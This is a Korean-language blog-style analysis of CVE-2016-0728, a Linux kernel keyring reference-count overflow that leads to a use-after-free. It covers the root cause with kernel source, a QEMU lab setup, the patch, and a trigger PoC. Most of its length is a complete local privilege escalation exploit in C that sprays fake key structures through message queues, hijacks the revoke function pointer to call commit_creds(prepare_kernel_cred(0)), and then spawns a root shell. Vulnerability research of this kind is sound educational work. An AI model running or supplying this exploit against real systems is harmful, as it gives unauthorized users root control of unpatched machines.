1. 소개
리눅스 커널 1-day를 시작하는 사람이라면 한 번씩 하게 되는 cve-2016-0728에 관한 1-day Analysis 및 PoC를 작성해 보는 글이다. 본 글은 qemu setting 부터 루트커즈분석 및 PoC를 포함하고 있다.
Main Topic
- qemu-img & kernel build
- Linux Kernel Heap U-A-F
- Local Privilege Escalation
2. CVE Code
CVE-2016-0728
- Linux Kernel 4.4.1 이전 버전에서 join_session_keyring 함수에서 integer overflow로 인해 커널 상의 free된 객체를 참조할 수 있어 LPE, DoS 공격을 일으킬 수 있는 취약점
3. CVE 관련 정보
Reference
https://nvd.nist.gov/vuln/detail/cve-2016-0728
https://sunrinjuntae.tistory.com/134
https://pwnkidhn.github.io/2020/11/02/2020-11-03-CVE-2016-0728/
4. 루트 커즈 분석
Linux Kernel v3.8을 기준으로 먼저 join_session_keyring 함수부터 보도록 하자, 소스코드는 https://elixir.bootlin.com/linux/v3.8/source/security/keys/process_keys.c 에서 찾아볼 수 있다.
/*
* Join the named keyring as the session keyring if possible else attempt to
* create a new one of that name and join that.
*
* If the name is NULL, an empty anonymous keyring will be installed as the
* session keyring.
*
* Named session keyrings are joined with a semaphore held to prevent the
* keyrings from going away whilst the attempt is made to going them and also
* to prevent a race in creating compatible session keyrings.
*/
long join_session_keyring(const char *name)
{
const struct cred *old;
struct cred *new;
struct key *keyring;
long ret, serial;
new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();
/* if no name is provided, install an anonymous keyring */
if (!name) {
ret = install_session_keyring_to_cred(new, NULL);
if (ret < 0)
goto error;
serial = new->session_keyring->serial;
ret = commit_creds(new);
if (ret == 0)
ret = serial;
goto okay;
}
/* allow the user to join or create a named keyring */
mutex_lock(&key_session_mutex);
/* look for an existing keyring of this name */
keyring = find_keyring_by_name(name, false);
if (PTR_ERR(keyring) == -ENOKEY) {
/* not found - try and create a new one */
keyring = keyring_alloc(
name, old->uid, old->gid, old,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
} else if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
} else if (keyring == new->session_keyring) {
ret = 0;
goto error2;
}
/* we've got a keyring - now to install it */
ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0)
goto error2;
commit_creds(new);
mutex_unlock(&key_session_mutex);
ret = keyring->serial;
key_put(keyring);
okay:
return ret;
error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}
전체적인 흐름은 다음과 같다.
- find_keyring_by_name 함수를 통해 name이 key list에 존재하는지 검사하고 없으면 새로 할당한다.
- name이 key list에 존재한다면 그대로 가져오고 몇몇 조건문을 검사한뒤 key_put 함수를 통해 key reference count를 감소시킨뒤 종료 된다. (key reference count는 key 구조체의 usage 변수가 담당한다.)
/**
* key_put - Discard a reference to a key.
* @key: The key to discard a reference from.
*
* Discard a reference to a key, and when all the references are gone, we
* schedule the cleanup task to come and pull it out of the tree in process
* context at some later time.
*/
void key_put(struct key *key)
{
if (key) {
key_check(key);
if (atomic_dec_and_test(&key->usage))
schedule_work(&key_gc_work);
}
}
- key_put 함수는 key 구조체의 usage 변수를 감소 시키는 역할을 하고 usage가 0이라면 Garbage Collectorr가 해당 객체를 free 시킨다.
/*****************************************************************************/
/*
* authentication token / access credential / keyring
* - types of key include:
* - keyrings
* - disk encryption IDs
* - Kerberos TGTs and tickets
*/
struct key {
atomic_t usage; /* number of references */
key_serial_t serial; /* key serial number */
union {
struct list_head graveyard_link;
struct rb_node serial_node;
};
struct key_type *type; /* type of key */
struct rw_semaphore sem; /* change vs change sem */
struct key_user *user; /* owner of this key */
void *security; /* security data for this key */
union {
time_t expiry; /* time at which key expires (or 0) */
time_t revoked_at; /* time at which key was revoked */
};
time_t last_used_at; /* last time used for LRU keyring discard */
kuid_t uid;
kgid_t gid;
key_perm_t perm; /* access permissions */
unsigned short quotalen; /* length added to quota */
unsigned short datalen; /* payload data length
* - may not match RCU dereferenced payload
* - payload should contain own length
*/
...
- key 구조체는 위와 같으며 usage의 type인 atomic_t는 int(4byte 정수)형과 같다. (atomic_t 구조체의 conuter 변수가 int형 인데, 이 counter 변수가 reference count의 역할을 맡는다.)
Vulnerability
- keyctl 함수를 join_session_keyring 함수와 key name을 인자로 호출하면 reference count(이하 usage)가 증가한다.
- 이때 join_sessiong_keyring 함수의 조건문으로 인해 같은 이름의 key name을 사용해 호출하면 key_put 함수를 건너뛰게 되어 usage가 계속해서 증가하게 된다.
- int형 변수인 usage는 0xffffffff번 keyctl 함수를 호출하면 integer overflow로 인해 0이 된다.
- usage가 0이 되면 커널은 자동적으로 Garbage Collector가 key를 free 시킨다.
- 하지만 우리는 keyctl 함수를 통해 해당 포인터를 반환받았으므로 U-A-F가 가능해진다.
Proof of Concept
일반적으로 이를 확인할 수 있는 간단한 PoC 예제는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>
int main()
{
int i;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestKey");
keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);
for(i = 0; i < 0xffffffff; i++)
{
keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestKey");
}
system("cat /proc/keys");
return 0;
}
- 이 코드를 실행해보면 key는 커널단에서 해제된 걸로 판정이 되어 마지막엔 cat /proc/keys 명령을 해도 TestKey가 보이지 않는것을 확인할 수 있다.
5. 분석 환경
그럼 PoC 코드와 Exploit으로 연계 진행을 하기 위해서 환경 세팅을 먼저 하도록 하자,
필자는 Ubuntu 22.04 (LTS) 환경에서 진행하였다.
qemu install
# sudo apt-get install qemu
make rootfs
ubuntu 14.04 버전을 기준으로 root 파일 시스템을 만들었다.
sudo apt-get install debootstrap
qemu-img create test.img 1g
mkfs.ext2 test.img
mkdir mount_img
sudo mount -o loop test.img mount_img
cd mount_img
sudo debootstrap --arch=amd64 trusty . # trusty = ubuntu 14.04(LTS)
cd ../
sudo umount mount_img
rmdir mount_img
혹은 https://cloud-images.ubuntu.com/ 해당 링크에서 원하는 ubuntu release의 rootfs를 다운 받아도 된다.
https://github.com/google/syzkaller/blob/master/tools/create-image.sh (img를 자동으로 만들어주는 스크립트도 존재한다.)
Kernel Build
git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
git tag –l | less
git checkout <tag(v3.8 or ...)>
$ make config
# 아무것도 하지말고 exit
$ make -j8
Qemu Run Script
qemu-system-x86_64 -kernel bzImage \
-append "root=/dev/sda console=ttyS0 loglevel=3 oops=panic panic=-1 nopti no
kaslr" \
-enable-kvm \
-no-reboot \
-cpu qemu64 \
-m 2G \
-smp 2 \
-drive file=test.img,format=raw \
--nographic
6. Exploit
Exploit with IPC System
Free 된 객체를 사용하기 위해서 Msgget 함수와 IPC System을 사용하는 방법이 있다. 해당 기능을 이용하면 원하는 크기의 메시지 큐를 생성하고 헤더크기인 0x30 Byte를 제외한 이후에 원하는 값을 집어넣을 수 있다.
Key 구조체의 크기는 0xb8 로, 헤더크기인 0x30을 제외하면 0x88 만큼 Control 가능하다.
Key_revoke
Key 구조체에는 type 이라는 포인터가 존재한다. key_type 구조체 포인터 인데, 해당 포인터 내부에는 revoke라는 함수 포인터가 존재한다. 해당 포인터를 User Space에 commit_creds(prepare_kernel_cred(0))를 실행하는 함수로 덮고 key_revoke을 호출하면 권한 상승을 할 수 있다.
Exploit Code
/* $gcc exp.c -o exp -lkeyutils */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff8106d6a0)
#define PREPARE_KERNEL_CRED_ADDR (0xffffffff8106da60)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
struct msg_type {
long mtype;
char mtext[STRUCT_LEN];
};
void my_revoke_func(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main() {
const char keyname[0x10] = "ExploitKey";
size_t i = 0;
key_serial_t serial = -1;
pid_t pid = -1;
int gage = 0;
unsigned long int l = 0x100000000/2;
struct key_type * my_key_type = NULL;
struct msg_type msg = {0x4141414141414141, {0}};
int msqid = -1;
printf("[+] uid = %d euid = %d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CRED_ADDR;
my_key_type = malloc(sizeof(struct key_type));
my_key_type->revoke = (void*)my_revoke_func;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key -> uid
*(int*)(&msg.mtext[56]) = geteuid();
// key -> flag
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
// key -> type
*(unsigned long*)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, (IPC_CREAT | 666))) == -1) {
perror("[-] Message Que Creat Failed");
exit(0);
}
if ((serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyname)) < 0) {
perror("[-] Key Error");
exit(0);
}
if (keyctl(KEYCTL_SETPERM, serial, (KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL)) < 0) {
perror("[-] Keyctl Init Failed");
exit(0);
}
puts("[+] Process Start!");
for (i = 1; i < 0xfffffffd; i++) {
if (i != 0 && (i % 0x20000000) == 0) {
gage += 1;
printf("[+] Process during %d%%\n", (gage*12));
}
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if ((keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyname)) < 0){
perror("[-] Key Find Error");
return -1;
}
}
sleep(5);
for (i = 0; i < 5; ++i) {
if ((keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyname)) < 0) {
perror("[-] Key Find Error");
exit(0);
}
}
puts("[+] Process End!");
puts("[+] Fork & Sparying Fake Struct Start");
for (i = 0; i < 64; i++) {
pid = fork();
if (pid == -1) {
perror("[-] Fork Error");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, (IPC_CREAT | 666)))) {
perror("[-] Message Que Creat Failed");
exit(0);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("[-] Message Send Failed");
exit(0);
}
}
sleep(-1);
exit(0);
}
}
puts("[+] Sparying End!");
puts("[+] Calling Revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("[-] Revoke Calling Failed");
}
printf("[+] uid = %d euid = %d\n", getuid(), geteuid());
execl("/bin/sh", 0, 0);
return 0;
}
7. 패치 파악
//Before
else if (keyring == new->session_keyring) {
ret = 0;
goto error2;
}
//After
else if (keyring == new->session_keyring) {
key_put(keyring); //patched
ret = 0;
goto error2;
}
패치된 코드를 살펴보면, error2 label로 분기하기 전 key_put 함수를 실행시켜 Reference Count를 감소시키고 진행하는 것으로 패치되었다.